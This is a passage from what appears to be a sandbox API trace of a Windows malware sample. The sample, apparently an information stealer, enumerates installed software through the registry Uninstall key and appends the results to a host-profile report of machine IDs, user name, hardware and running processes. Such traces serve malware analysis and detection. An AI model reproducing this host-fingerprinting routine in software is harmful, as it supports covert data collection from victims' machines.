generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\n"
[0054.950] RegCloseKey (hKey=0x514) returned 0x0
[0054.950] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x10, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.950] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757") returned 100
[0054.950] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.950] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.950] RegCloseKey (hKey=0x514) returned 0x0
[0054.951] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x11, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.951] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173") returned 100
[0054.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.951] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.951] RegCloseKey (hKey=0x514) returned 0x0
[0054.951] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x12, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.951] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 100
[0054.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.951] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.951] RegCloseKey (hKey=0x514) returned 0x0
[0054.951] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x13, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.951] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 100
[0054.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.951] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.951] RegCloseKey (hKey=0x514) returned 0x0
[0054.951] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x14, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.951] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 100
[0054.951] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.951] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.951] RegCloseKey (hKey=0x514) returned 0x0
[0054.952] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x15, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.952] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 100
[0054.952] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.952] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.952] RegCloseKey (hKey=0x514) returned 0x0
[0054.952] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x16, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.952] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 99
[0054.952] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.952] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x0, lpData=0x181ec4*=0x31, lpcbData=0x1816c0*=0x400) returned 0x2
[0054.952] RegCloseKey (hKey=0x514) returned 0x0
[0054.952] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x17, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.952] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}") returned 90
[0054.952] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{2BC3BD4D-FABA-4394-93C7-9AC82A263FE2}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.952] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508", lpcbData=0x1816c0*=0x3c) returned 0x0
[0054.952] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\n", lpString2="Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508"
[0054.952] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="14.25.28508", lpcbData=0x1816c0*=0xc) returned 0x0
[0054.952] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe 